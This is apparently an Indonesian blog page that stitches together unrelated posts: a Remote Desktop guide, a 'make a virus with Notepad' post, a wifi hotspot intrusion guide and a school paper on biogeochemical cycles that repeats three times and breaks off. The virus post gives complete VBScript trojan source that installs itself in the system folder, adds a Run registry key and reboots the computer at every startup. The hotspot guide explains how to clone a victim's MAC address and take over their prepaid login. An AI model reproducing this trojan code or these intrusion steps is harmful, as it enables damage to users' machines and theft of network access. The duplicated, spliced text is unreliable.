cara mengendalikan komputer lain dengan Dekstop Connection

cara mengendalikan komputer lain 

dengan Dekstop Connection



Mungkin bagi anda yang suka mengendalikan komputer lain dengan cara hacking, cara ini tidak begitu menarik. Karena salah satu kekurangan dengan cara ini adalah komputer yang anda remote akan ter Log- Off. Jadi otomatis si user akan tau kalo komputernya sedang diremote oleh orang lain. Namun keuntungannya adalah tidak perlu menginstall software ke komputer yang akan kita remote. Untu melakukan hal ini maka tentu saja komputer user dan komputer kita harus terhubung dalam satu jaringan. Artikel ini saya dedikasikan untuk anda anda yang tidak suka bermain hacking dan mempunya tujuan yang baik saat mengendalikan komputer oranglain.
Langkah pertama, kita masuk ke komputer yang akan kita kendalikan, sebut saja Komputer User. Ada beberapa settingan yang harus kita ubah disitu.

Klik start, MyComputer (Klik Kanan), Klik Properties. Pilih Menu “Remote”



















Centang kedua options seperti gambar diatas. Kemudian pilih “select remote users”. Lalu pilih “Add”. Setelah itu pilih user yang akan kita gunakan untuk di remote.
























Mudah bukan, ☺ Cukup itu saja settingan di komputer user. Sekarang kita pindah ke kmputer server, atau komputer yang akan kita gunakan untuk meremote.
Klik start, Accessories, Lalu pilih “Remote Desktop Connection” Maka Akan muncul seperti gambar dibawah ini:
Pada Textbox cumputer, isi dengan IP komputer user, pada textbox Username, Isikan username yang sudah kita pilih pada langkah sebelumnya. Anda juga bisa mengatur resolusi tampilandesktop user di komputer kita dengan memilih menu “Display”.











Jika diminta untuk memasukkan password user maka, masukkan pasword usernya. Jika anda tidak tau, ya musti tanya dulu ama yang punya komputer. Untuk itu cara ini saya golongkan sebagai cara mengendalikan komputer tanpa ada unsur hacking.


Jika sudah tekan tombol “OK” maka hasilnya akan OKAY ☺



Nampak jelas kan, saya meremote menggunakan windows 7, dan komputer yang saya remote menggunakan Windows XP. Nah disitu anda berhak sepenuhnya mengoperasikan komputer yang anda kendalikan. Untuk temen2 yang pengen belajar hacking, tenang.. jangan khawatir, karena beberapa hari lagi saya akan memposting artikel yang masih berkaitan dengan mengendalikan komputer lain, namun cara ini saya golongkan dalam cara Hacking, dan benar2 tidak akan diketahui oleh sang user. Wuih, pokoknya mantep banget ddeh, bisa ngintip lewat webcam juga lho, jadi anda bisa melihat muka si user :D ato si user lagi ngapain, lagi pacaran mungkin, hihihi... sabar yyaa.. :D

Cara membuat VIRUS menggunakan Notepad

Cara membuat VIRUS menggunakan Notepad

Assalamu'alaikum..... :-) temen-temen.. buat kamu2 yang pengen iseng... n sekalian pengen rusak data2nya. *hahaha* ni ada cara gampang buat Virus dengan notepad.

*note copy semua source berikut kedalam notepad save as .Vbs (jika ingin mengaktifkan)
jika tidak biarkan tetap dalam file exstensi.txt
exapels: Uzumaki_trojanHorse.VBS

Copy semua source di bawah ini:


rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

Cara Membobol Password Wifi Hotspot


Trik Internet Gratis – Cara Membobol Password Wifi Hotspot, Plasa, Cafe, Warnet, atau Kampus


Seperti kita ketahui, HotSPOT atau tempat akses internet Wireless dengan standard 802.11b/g sudah bukan barang asing lagi ditelinga kita, dan bila kita berpergian di tempat publik seperti Mall, Cafe, hotel dan kantor, dengan mudahnya kita menemukan fasilitas tersebut..
Namun sangat disayangkan tidak semua penyedia layanan menawarkan fasilitas Internet Wireless dengan gratis, atau kalaupun gratis,. sangatlah terbatas.
Salah satu proteksi yang digunakan penyedia layanan wireless adalah dengan membatasi akses internet berdasarkan MAC Address.
Apa itu MAC Adress ?
Download Software pembobol password wifi terbarunya disini
In computer networking a Media Access Control address (MAC address) or Ethernet Hardware Address (EHA) or hardware address or adapter address is a quasi-unique identifier attached to most network adapters (NICs)..
Oke jadi kesimpulannya MAC Address adalah nomer unik yang membedakan setiap perangkat jaringan yang terpasang dikomputer kita.
Contoh kasus adalah HotSPOT di Food Court Plasa Semanggi. Pada HotSPOT FoodCourt Plasa Semanggi ., sang penyedia layanan Internet Wireless, membatasi penggunaan Internet gratis hanya selama 3 Jam, setelah itu anda tidak dapat mengakses internet lagi, dan baru akan dapat mengakses lagi di hari esok. Jenis proteksi yang digunakan adalah MAC Address Filtering.
Bagaimana menjebol Proteksi dengan MAC Address ?
Ada sebuah tools yang sangat bermanfaat untuk anda.Tools itu bernama K-MAC Download Disini
Dengan tools ini anda akan dapat mengubah MAC-Address anda secara instant dan apa artinya ? Anda dapat menjebol Proteksi MAC Address !. Setiap jatah akses internet anda habis dalam waktu 3 jam, yang anda perlu lakukan hanyalah mengubah MAC Address anda, dan lakukan koneksi kembali.
gw tambahin buat info. cracking password WEP/WPA/WPA-2 menggunakan
program yang tersedia dalam paket OS backtrack yaitu
kismet
Kismet adalah satu Tool security yang berjalan Linux, kismet digunakan untuk menyadap lalu lintas data dalam jaringan internet.
Aircrak-ptw Aircrak-ptw adalah tool yang digunakan untuk meng-crack wireless yang diproteksi. Masing-masing notebook dengan spesifikasi berbeda, sehingga cara untuk menggunakan aircrack pun berbeda.
Trik yang satu ini juga dipakai untuk mencari password yang digunakan oleh seseorang untuk mengakses hotspot yang menggunakan kartu prepaid.
Alat yang dipersiapkan sih simple aja :
- Seperangkat Laptop : PC yang ada wifi adapternya juga bisa, asal jaringan hotspotnya bisa tertangkap.
- Charger laptop : karena pasti memakan banyak daya batre saat keranjingan internet gratisNgakakNgakak..
Software yang diperlukan:
1. Angry IP Scanner 2.21 Klik Disini Untuk Download
2. Technitium MAC Address v5 release 3 Klik Disini Untuk Download
Langsung aja sekarang ke caranya:
# Cari lokasi penyedia layanan hotspot, tentunya di daerah yang terjangkau jaringan hotspot tersebut..
# Hidupkan laptop anda, dan hidupkan pula wireless network anda dan lihat di sistem tray icon wireless network, kemudian klik kanan dan pilih view avalible wireless network, dan tentunya setelah itu anda harus connect ke wireless hotspot tujuan anda.
# Setelah connect, klik kanan sistem tray dan pilih status >pilih tab detail > kelihatan disana ip yang diberikan kepada kita. Catat ip tersebut.
# Buka Program AngryIP Scanner 2.21 dan isikan ip range yang akan kita scan (pakai data ip kita tadi) pada bagian atas. Misalnya : IP yang kita dapat 135.125.1.13 kemudian masukkan pada kolom range pertama ip kita sesuai dengan ip yang tadi namun ganti angka di bagian akhir dengan 1 menjadi 135.125.1.1 dan pada kolom kedua tuliskan sama namun angka satu diakhir itu ganti dengan 255 menjadi 135.125.1.255. hasilnya 135.125.1.1 to 135.125.1.255 dan klik start (tombol merah).
# Setelah melakukan scanning maka kita akan mendapatkan data ip yang hidup yang terkoneksi dengan hotspot tersebut. setelah scanning selesai maka lihat ip yang hidup (alive host) warna biru klik kanan pada ip yang hidup Klik kanan pada ip yang warna biru tadi klik kanan > show > mac address dan akan ada kode mac addres (terkadang ada mac addressnya tidak tampil, pilih saja ip yang lainnya). Catat mac address yang kita dapatkan.
# Buka Program Technitium MAC Address v5 release 3 yang telah kita persiapkan. Disana ada field mac address. nah sekarang tinggal ganti mac address tersebut dengan yang kita dapatkan tadi dan tekan change mac id.
# Tunggu karena mac kita akan diganti dan koneksi sementara terputus dan konek lagi otomatis sendiri.
# Masuk web browser firefox atau apa saja boleh. Nikmati Internet Gratis…...
Satu hal yang perlu diingat adalah kita sistemnya numpang data transfer pada account yang kita hack tadi (yang punya ip tadi, maaf.....).
Ini bisa di akali dengan masuk halaman status login hotspot tersebut (untuk dapat account). Misalnya idonbiu.hotspot.net/status dan begitu masuk disana kan terlihat nomor sandi prepaid card dan kita catat saja, lalu logout, dan masuk kembali ke halaman login hotspot itu cepat-cepat masukkan sandi tadi. Hal ini akan membuat kita secara langsung dapat mengakses internet tanpa menumpang lagi (soalnya yang make prepaid card code kan kita) jadi kalau ada yang mau login pakai kartu itu (yang punya code) saat kita login pakai kartu itu tentunya dia tidak akan bisa masuk karena kartu prepaid cardnya
“already login”.
Bagaimana, menarik bukan ?
Tapi saya sarankan, seperti yang saya lakukan adalah dengan menumpang saja, karena saya tidak mau berbuat terlalu jauh, seperti cara yang saya beritau untuk me log off dan log in lagi tentunya akan membuat sang pemilik tidak bisa log in. Kasian kan ?
Jadi mumpung sudah dikasi gratisan, kenapa gak numpang saja ya, itung-itung cuman ikutan ngakses bareng kan tidak terlalu merugikan. Minta ijin langsung juga kemungkinan yang punya gak nolak, asal kepentingannya memang mendesak.
Untuk Scanning Ip juga bisa memakai aplikasi Dude 3.5.zip Klik Disini Untuk Download untuk mengetahui kondisi koneksi komputer-komputer ke hotspot. Bisa dicoba juga ya..
Oh Yaw Niy dapet yang terbaru klo di hotspot pada pake wep or wpa pake ini aja  barusan dicobain tembus euy…...
WEP and WPA keygenerator v1.00*Klik disini Untuk Download atau
Wireless Key Generator KliK Disini Untuk Download
tinggal jalanin programnya trus generate,, kopi aja langsung ke network key-nya.
*Setelah di test kemaren di win 7 ternyata gak support hanya bisa berjalan di win xp
Atau juga dapet pakek nich pake aplikasi “wifi password finder
seach aja di 4shared ada kug, Qu Blum Sempet Upload
=========Tambahan=============
Jika Agan2 ingin menambah bandwidth internet supaya koneksinya terasa lebih cepat, Anda bisa melakukannya dengan cara mengurangi atau mengosongkan batasan bandwidth tersebut. Hal ini dilakukan agar bandwith yang ada dapat digunakan dengan maksimal.
Caranya seperti dibawah ini :
  1. Klik Start
  2. Klik Run
  3. Ketik gpedit.msc
  4. Kemudian pilih OK
  5. Klik Administrative Templates
  6. Klik Network
  7. Setelah terbuka klik QoS Packet scheduler
  8. Kemudian klik Limit Reservable Bandwidth
  9. Setelah terbuka ubah setting menjadi Enable
  10. Kemudian ubah Bandwidth Limitnya menjadi 0
  11. Klik Apply
  12. Kemudian pilih OK
  13. Terakhir keluar dari menu dan restart komputer.
Sekali lagi, semua ini hanya untuk pembelajaran saja, selama kita masih mampu kenapa gak pakai yang legal aja. Dan ini juga bisa dimanfaatkan oleh pemilik hotspot, kalau cara ini masih bisa digunakan untuk membobol. Jadi perlu keamanan yang lebih.

MAKALAH IPA SIKLUS BIOGEOKIMIA (AIR, KARBON, NITROGEN) DAN PERANANNYA DALAM KEHIDUPAN SEHARI-HARI


MAKALAH IPA
SIKLUS BIOGEOKIMIA (AIR, KARBON, NITROGEN)
DAN PERANANNYA DALAM KEHIDUPAN SEHARI-HARI













Disusun oleh :
Iswahyuningsih  (15)
Uldatun Qonita (33)
PEMERINTAH KABUPATEN GUNUNGKIDUL
DINAS PENDIDIKAN, PEMUDA DAN OLAHRAGA
SMK NEGERI 1 SAPTOSARI
Jln. Wonosari-Panggang km 22 Kepek, Saptosari, Gunungkidul, Yogyakarta
Email : smknsaptosari@yahoo.com

Telp : (0274) 7101164

A.    SIKLUS HIDROLOGI  (SIKLUS AIR)

            Siklus ini merupakan siklus air di bumi yang dipengaruhi oleh peran energi matahari dan gaya gravitasi bumi. Proses-proses penting yang terjadi adalah proses penguapan, transpirasi, kondensasi, dan presipitasi. Penguapan (evaporasi) merupakan perubahan fase air dari bentuk cairan menjadi bentuk gas akibat panas matahari di permukaan bumi. Pada proses ini, dikhususkan air yang bukan berasal dari tanaman, contohnya air danau, sungai, lautan dan bagian hidrosfer lainnya. Penguapan ini terjadi sekitar 84% di lautan dan 16% di daratan.  Sementara, penguapan yang terjadi pada tanaman disebut transpirasi. Air dalam bentuk uap ini kemudian memasuki atmosfer dan mengalami pendinginan sehingga terjadi kondensasi dan membentuk awan. Awan akan terbawa oleh angin ke bagian lain dari bumi. Molekul-molekul air akan terdispersi (terurai) secara menempel pada partikel-partikel debu yang ada di atmosfer lalu bergabung membentuk buatiran-butiran air. Butiran-butiran air yang sudah mencapai berat tertentu akan  jatuh ke permukaan bumi. Peritiwa ini disebut dengan presipitasi. Presipitasi dapat berbentuk hujan, salju, ataupun embun tergantung pada kondisi lingkungannya. Presipitasi dapat terjadi secara langsung ke daerah hidrosfer, sekitar 77%, dan sebanyak 23% jatuh di atas tanah dan batu-batuan. Sebagian dari air yang jatuh di atas tanah dan batu-batuan akan mengalir melalui permukaan menuju bagian hidrosfer, sementara yang lainnya akan meresap ke dalam tanah (air tanah). Air tanah ini mencapai lapisan yang kedap air lalu meresap secara perlahan dan mengalir hingga bagian hidrosfer. Setelah itu, terjadi siklus ulang
            Siklus air ini terkait dengan penyediaan nutrien bagi makhluk hidup. Dalam kondisi yang normal, perembesan dan aliran permukaan air tidak akan mencuci mineral-mineral tanah. Kalaupun ada, hanya sedikit mineral tanah yang akan tercuci. Selain itu, air hujan dapat melapukkan batu sehingga tersedia bahan pengganti berbagai mineral, sehingga mineral tanah tetap terjaga. Namun, sebaliknya, jika kondisi tidak normal, nutrien dalam tanah dapat terganggu sehingga ekosistem pun terganggu. Salah satu penyebabnya adalah penggundulan hutan.

A.    SIKLUS KARBON
            Siklus karbon dapat terbagi menjadi dua macam, yaitu siklus dalam reaksi termonuklir berantai dalam binatang dan siklus karbon di bumi. Siklus di bumi ini lebih terkenal dengan siklus karbondioksida karena material yang berpindah adalah CO2. CO2 dalam udara digunakan oleh tanaman untuk reaksi fotosintesis menjadi materi organik (karbohidrat) dengan adanya gabungan dengan air. Senyawa organik tersebut diteruskan kepada konsumen dalam rantai makanan. Energi digunakan oleh makhluk hidup menghasilkan CO2 yang terlepas ke udara ataupun ke air, tergantung dari lingkungan hidup. Namun, senyawa organik tetap ada yang tersisa. Organisme juga mengeluarkan materi sisa (kotoran) yang mengandung karbon serta menjadi senyawa karbon organik setelah mati. Karbon-karbon ini dilepaskan dalam bentuk CO2 ke udara oleh saprovor (mikroorganisme pengurai). Dari udara ini, karbon dalam bentuk CO2 akan kembali digunakan oleh tumbuhan (siklus terjadi). Namun, reaksi oleh saprovor terkadang lambat sehingga senyawa karbon menumpuk dalam jangka waktu yang lama dalam bentuk gambut, batu bara, minyak  bumi, ataupun batu karang(Buchari dkk., 2001).  Pada ekosistem laut, terdapat karbon terlarut yang akan berubah menjadi cangkang dan tulang organisme laut dan menjadi sedimen. Selain itu, pengangkatan tektonik membawa karbon ke permukaan laut (Basukriadi, 2011).
carboncycle.png

B.     SIKLUS NITROGEN
       
Dalam siklus nitrogen, masalah yang terjadi dapat terkait dengan tanaman karena ini merupakan salah satu unsur hara yang sangat penting dan diperlukan dalam jumlah besar (makronutrien). Tanaman menyarap unsur ini dalam bentuk ion nitrat (NO3-) dan ion ammonium (NH4+). Unsur ini secara langsung berperan dalam pembentukan protein, memacu pertumbuhan  tanaman secara umum terutama pada fase vegetatif, berperan dalam pembentukan klorifil, asam amino, lemak enzim dan persenyawaan lain.
Gejala kekurangan unsur N adalah pertumbuhan tanaman lambat dan kerdil, mula-mula daun menguning  dan mengering  lalu daun akan rontok dimana daun yang menguning diawali dari daun bagian bawah, lalu disusul daun bagian atas. Di dalam tubuh tanaman nitrogen bersifat dinamis sehingga jika terjadi kekurangan nitrogen pada bagian pucuk, nitrogen yang tersimpan pada daun tua akan dipindahkan ke organ yang lebih muda, dengan demikian pada daun-daun yang lebih tua  gejala kekurangan nitrogen akan terlihat lebih awal.
Masalah akibat gangguan dalam siklus N, dapat juga berupa hujan asam dan global warming. Hujan asam adalah suatu bentuk akibat pencemaran udara di mana hujan, salju, maupun kabut yang terjadi mengandung asam akibat terkontaminasi oleh polutan NOx. Keadaan ini dapat merusak tanaman, mencemari sungai dan danau, serta memungkinkan terjadinya kanker kulit jika manusia terpapar langsung. Sementara, pada masalah global warming, bagian dari siklus nitrogen yang dapat menjadi penyebab pemanasan global adalah gas NOx.Akibat lebih lanjut dari pemanasan global sudah dijelaskan pada bagian masalah siklus hidrologi.
Nitrogen pada umumnya terdapat dalam senyawa organik seperti protein, urea dan asam nukleat atau yang sudah dikenal dengan senyawa anorganik seperti nitrit, ammonia dan nitrat. Dalam proses terjadinya Daur Biogeokimia pada Daur Nitrogen terjadi dalam dua tahap yakni:
1.      Tahap pertama
daur nitrogen.jpg
Daur nitrogen merupakan proses transfer nitrogen dari atmosfir ke dalam tanah. Disamping air hujan, masuknya nitrogen ke dalam tanah juga dapat melalui proses fiksasi nitrogen. Proses fiksasi nitrogen sendiri secara biologis bisa dilakukan oleh bakteri Rhizobium yang bersimbiosis dengan bakteri Azotobacter, Clostridium dan polong-polongan. Selain itu, kemampuan memfiksasi nitrogen juga dapat dilakukan oleh ganggang hijau.
2.      Tahap kedua
Nitrat yang diperoleh dari hasil fiksasi biologis akan digunakan oleh produsen atau tumbuhan yang nandi diubah menjadi molekul protein. Selanjutnya jika hewan atau tumbuhan mati, maka makhluk pengurai akan merombaknya menjadi (NH3) atau yang dikenal dengan gas amoneak dan garam ammonium yang larut dalam air (NH4+). Proses ini dinamakan dengan proses amonifikasi. Bakteri Nitrosomonas dapat mengubah senyawa ammonium dan amoneak menjadi Nitrat oleh Nitrobacter. Jika oksigen dalam tanah terbasa, maka nitrat akan dengan cepat ditransformasikan menjadi oksida nitrogen atau gas nitrogen oleh proses yang dinamakan denitrifikasi.

C.    KESIMPULAN
Siklus biogeokimia adalah aliran ion ataupun molekul dari nutrien yang dipindahkan dari lingkungan ke organisme (komponen hidup) dan dikembalikan lagi ke komponen tak hidup (abiotik). Siklus biogeokimia yang terpenting adalah siklus karbon dan oksigen, siklus nitrogen, dan siklus fosfor.
Keseimbangan siklus ini perlu dijaga. Jika aktivitas manusia tidak memperhatikan lingkungan, keseimbangan unsur dalam siklus akan terganggu sehingga proporsi komponen yang seharusnya menjadi bergeser. Akibat ketidakseimbangan tersebut, terjadi berbagai masalah yang dampaknya tidak hanya berpengaruh terhadap manusia, tetapi juga terhadap lingkungan hidup. Oleh karena itu pemahaman mengenai keseimbangan siklus biogeokimia diperlukan untuk membuat suatu rancangan manajemen lingkungan yang baik, termasuk lingkungan industri.



 A.    SIKLUS HIDROLOGI  (SIKLUS AIR)

            Siklus ini merupakan siklus air di bumi yang dipengaruhi oleh peran energi matahari dan gaya gravitasi bumi. Proses-proses penting yang terjadi adalah proses penguapan, transpirasi, kondensasi, dan presipitasi. Penguapan (evaporasi) merupakan perubahan fase air dari bentuk cairan menjadi bentuk gas akibat panas matahari di permukaan bumi. Pada proses ini, dikhususkan air yang bukan berasal dari tanaman, contohnya air danau, sungai, lautan dan bagian hidrosfer lainnya. Penguapan ini terjadi sekitar 84% di lautan dan 16% di daratan.  Sementara, penguapan yang terjadi pada tanaman disebut transpirasi. Air dalam bentuk uap ini kemudian memasuki atmosfer dan mengalami pendinginan sehingga terjadi kondensasi dan membentuk awan. Awan akan terbawa oleh angin ke bagian lain dari bumi. Molekul-molekul air akan terdispersi (terurai) secara menempel pada partikel-partikel debu yang ada di atmosfer lalu bergabung membentuk buatiran-butiran air. Butiran-butiran air yang sudah mencapai berat tertentu akan  jatuh ke permukaan bumi. Peritiwa ini disebut dengan presipitasi. Presipitasi dapat berbentuk hujan, salju, ataupun embun tergantung pada kondisi lingkungannya. Presipitasi dapat terjadi secara langsung ke daerah hidrosfer, sekitar 77%, dan sebanyak 23% jatuh di atas tanah dan batu-batuan. Sebagian dari air yang jatuh di atas tanah dan batu-batuan akan mengalir melalui permukaan menuju bagian hidrosfer, sementara yang lainnya akan meresap ke dalam tanah (air tanah). Air tanah ini mencapai lapisan yang kedap air lalu meresap secara perlahan dan mengalir hingga bagian hidrosfer. Setelah itu, terjadi siklus ulang
            Siklus air ini terkait dengan penyediaan nutrien bagi makhluk hidup. Dalam kondisi yang normal, perembesan dan aliran permukaan air tidak akan mencuci mineral-mineral tanah. Kalaupun ada, hanya sedikit mineral tanah yang akan tercuci. Selain itu, air hujan dapat melapukkan batu sehingga tersedia bahan pengganti berbagai mineral, sehingga mineral tanah tetap terjaga. Namun, sebaliknya, jika kondisi tidak normal, nutrien dalam tanah dapat terganggu sehingga ekosistem pun terganggu. Salah satu penyebabnya adalah penggundulan hutan.

A.    SIKLUS KARBON
            Siklus karbon dapat terbagi menjadi dua macam, yaitu siklus dalam reaksi termonuklir berantai dalam binatang dan siklus karbon di bumi. Siklus di bumi ini lebih terkenal dengan siklus karbondioksida karena material yang berpindah adalah CO2. CO2 dalam udara digunakan oleh tanaman untuk reaksi fotosintesis menjadi materi organik (karbohidrat) dengan adanya gabungan dengan air. Senyawa organik tersebut diteruskan kepada konsumen dalam rantai makanan. Energi digunakan oleh makhluk hidup menghasilkan CO2 yang terlepas ke udara ataupun ke air, tergantung dari lingkungan hidup. Namun, senyawa organik tetap ada yang tersisa. Organisme juga mengeluarkan materi sisa (kotoran) yang mengandung karbon serta menjadi senyawa karbon organik setelah mati. Karbon-karbon ini dilepaskan dalam bentuk CO2 ke udara oleh saprovor (mikroorganisme pengurai). Dari udara ini, karbon dalam bentuk CO2 akan kembali digunakan oleh tumbuhan (siklus terjadi). Namun, reaksi oleh saprovor terkadang lambat sehingga senyawa karbon menumpuk dalam jangka waktu yang lama dalam bentuk gambut, batu bara, minyak  bumi, ataupun batu karang(Buchari dkk., 2001).  Pada ekosistem laut, terdapat karbon terlarut yang akan berubah menjadi cangkang dan tulang organisme laut dan menjadi sedimen. Selain itu, pengangkatan tektonik membawa karbon ke permukaan laut (Basukriadi, 2011).
carboncycle.png

B.     SIKLUS NITROGEN
       
Dalam siklus nitrogen, masalah yang terjadi dapat terkait dengan tanaman karena ini merupakan salah satu unsur hara yang sangat penting dan diperlukan dalam jumlah besar (makronutrien). Tanaman menyarap unsur ini dalam bentuk ion nitrat (NO3-) dan ion ammonium (NH4+). Unsur ini secara langsung berperan dalam pembentukan protein, memacu pertumbuhan  tanaman secara umum terutama pada fase vegetatif, berperan dalam pembentukan klorifil, asam amino, lemak enzim dan persenyawaan lain.
Gejala kekurangan unsur N adalah pertumbuhan tanaman lambat dan kerdil, mula-mula daun menguning  dan mengering  lalu daun akan rontok dimana daun yang menguning diawali dari daun bagian bawah, lalu disusul daun bagian atas. Di dalam tubuh tanaman nitrogen bersifat dinamis sehingga jika terjadi kekurangan nitrogen pada bagian pucuk, nitrogen yang tersimpan pada daun tua akan dipindahkan ke organ yang lebih muda, dengan demikian pada daun-daun yang lebih tua  gejala kekurangan nitrogen akan terlihat lebih awal.
Masalah akibat gangguan dalam siklus N, dapat juga berupa hujan asam dan global warming. Hujan asam adalah suatu bentuk akibat pencemaran udara di mana hujan, salju, maupun kabut yang terjadi mengandung asam akibat terkontaminasi oleh polutan NOx. Keadaan ini dapat merusak tanaman, mencemari sungai dan danau, serta memungkinkan terjadinya kanker kulit jika manusia terpapar langsung. Sementara, pada masalah global warming, bagian dari siklus nitrogen yang dapat menjadi penyebab pemanasan global adalah gas NOx.Akibat lebih lanjut dari pemanasan global sudah dijelaskan pada bagian masalah siklus hidrologi.
Nitrogen pada umumnya terdapat dalam senyawa organik seperti protein, urea dan asam nukleat atau yang sudah dikenal dengan senyawa anorganik seperti nitrit, ammonia dan nitrat. Dalam proses terjadinya Daur Biogeokimia pada Daur Nitrogen terjadi dalam dua tahap yakni:
1.      Tahap pertama
daur nitrogen.jpg
Daur nitrogen merupakan proses transfer nitrogen dari atmosfir ke dalam tanah. Disamping air hujan, masuknya nitrogen ke dalam tanah juga dapat melalui proses fiksasi nitrogen. Proses fiksasi nitrogen sendiri secara biologis bisa dilakukan oleh bakteri Rhizobium yang bersimbiosis dengan bakteri Azotobacter, Clostridium dan polong-polongan. Selain itu, kemampuan memfiksasi nitrogen juga dapat dilakukan oleh ganggang hijau.
2.      Tahap kedua
Nitrat yang diperoleh dari hasil fiksasi biologis akan digunakan oleh produsen atau tumbuhan yang nandi diubah menjadi molekul protein. Selanjutnya jika hewan atau tumbuhan mati, maka makhluk pengurai akan merombaknya menjadi (NH3) atau yang dikenal dengan gas amoneak dan garam ammonium yang larut dalam air (NH4+). Proses ini dinamakan dengan proses amonifikasi. Bakteri Nitrosomonas dapat mengubah senyawa ammonium dan amoneak menjadi Nitrat oleh Nitrobacter. Jika oksigen dalam tanah terbasa, maka nitrat akan dengan cepat ditransformasikan menjadi oksida nitrogen atau gas nitrogen oleh proses yang dinamakan denitrifikasi.

C.    KESIMPULAN
Siklus biogeokimia adalah aliran ion ataupun molekul dari nutrien yang dipindahkan dari lingkungan ke organisme (komponen hidup) dan dikembalikan lagi ke komponen tak hidup (abiotik). Siklus biogeokimia yang terpenting adalah siklus karbon dan oksigen, siklus nitrogen, dan siklus fosfor.
Keseimbangan siklus ini perlu dijaga. Jika aktivitas manusia tidak memperhatikan lingkungan, keseimbangan unsur dalam siklus akan terganggu sehingga proporsi komponen yang seharusnya menjadi bergeser. Akibat ketidakseimbangan tersebut, terjadi berbagai masalah yang dampaknya tidak hanya berpengaruh terhadap manusia, tetapi juga terhadap lingkungan hidup. Oleh karena itu pemahaman mengenai keseimbangan siklus biogeokimia diperlukan untuk membuat suatu rancangan manajemen lingkungan yang baik, termasuk lingkungan industri.



 A.    SIKLUS HIDROLOGI  (SIKLUS AIR)

            Siklus ini merupakan siklus air di bumi yang dipengaruhi oleh peran energi matahari dan gaya gravitasi bumi. Proses-proses penting yang terjadi adalah proses penguapan, transpirasi, kondensasi, dan presipitasi. Penguapan (evaporasi) merupakan perubahan fase air dari bentuk cairan menjadi bentuk gas akibat panas matahari di permukaan bumi. Pada proses ini, dikhususkan air yang bukan berasal dari tanaman, contohnya air danau, sungai, lautan dan bagian hidrosfer lainnya. Penguapan ini terjadi sekitar 84% di lautan dan 16% di daratan.  Sementara, penguapan yang terjadi pada tanaman disebut transpirasi. Air dalam bentuk uap ini kemudian memasuki atmosfer dan mengalami pendinginan sehingga terjadi kondensasi dan membentuk awan. Awan akan terbawa oleh angin ke bagian lain dari bumi. Molekul-molekul air akan terdispersi (terurai) secara menempel pada partikel-partikel debu yang ada di atmosfer lalu bergabung membentuk buatiran-butiran air. Butiran-butiran air yang sudah mencapai berat tertentu akan  jatuh ke permukaan bumi. Peritiwa ini disebut dengan presipitasi. Presipitasi dapat berbentuk hujan, salju, ataupun embun tergantung pada kondisi lingkungannya. Presipitasi dapat terjadi secara langsung ke daerah hidrosfer, sekitar 77%, dan sebanyak 23% jatuh di atas tanah dan batu-batuan. Sebagian dari air yang jatuh di atas tanah dan batu-batuan akan mengalir melalui permukaan menuju bagian hidrosfer, sementara yang lainnya akan meresap ke dalam tanah (air tanah). Air tanah ini mencapai lapisan yang kedap air lalu meresap secara perlahan dan mengalir hingga bagian hidrosfer. Setelah itu, terjadi siklus ulang
            Siklus air ini terkait dengan penyediaan nutrien bagi makhluk hidup. Dalam kondisi yang normal, perembesan dan aliran permukaan air tidak akan mencuci mineral-mineral tanah. Kalaupun ada, hanya sedikit mineral tanah yang akan tercuci. Selain itu, air hujan dapat melapukkan batu sehingga tersedia bahan pengganti berbagai mineral, sehingga mineral tanah tetap terjaga. Namun, sebaliknya, jika kondisi tidak normal, nutrien dalam tanah dapat terganggu sehingga ekosistem pun terganggu. Salah satu penyebabnya adalah penggundulan hutan.

A.    SIKLUS KARBON
            Siklus karbon dapat terbagi menjadi dua macam, yaitu siklus dalam reaksi termonuklir berantai dalam binatang dan siklus karbon di bumi. Siklus di bumi ini lebih terkenal dengan siklus karbondioksida karena material yang berpindah adalah CO2. CO2 dalam udara digunakan oleh tanaman untuk reaksi fotosintesis menjadi materi organik (karbohidrat) dengan adanya gabungan dengan air. Senyawa organik tersebut diteruskan kepada konsumen dalam rantai makanan. Energi digunakan oleh makhluk hidup menghasilkan CO2 yang terlepas ke udara ataupun ke air, tergantung dari lingkungan hidup. Namun, senyawa organik tetap ada yang tersisa. Organisme juga mengeluarkan materi sisa (kotoran) yang mengandung karbon serta menjadi senyawa karbon organik setelah mati. Karbon-karbon ini dilepaskan dalam bentuk CO2 ke udara oleh saprovor (mikroorganisme pengurai). Dari udara ini, karbon dalam bentuk CO2 akan kembali digunakan oleh tumbuhan (siklus terjadi). Namun, reaksi oleh saprovor terkadang lambat sehingga senyawa karbon menumpuk dalam jangka waktu yang lama dalam bentuk gambut, batu bara, minyak  bumi, ataupun batu karang(Buchari dkk., 2001).  Pada ekosistem laut, terdapat karbon terlarut yang akan berubah menjadi cangkang dan tulang organisme laut dan menjadi sedimen. Selain itu, pengangkatan tektonik membawa karbon ke permukaan laut (Basukriadi, 2011).
carboncycle.png

B.     SIKLUS NITROGEN
       
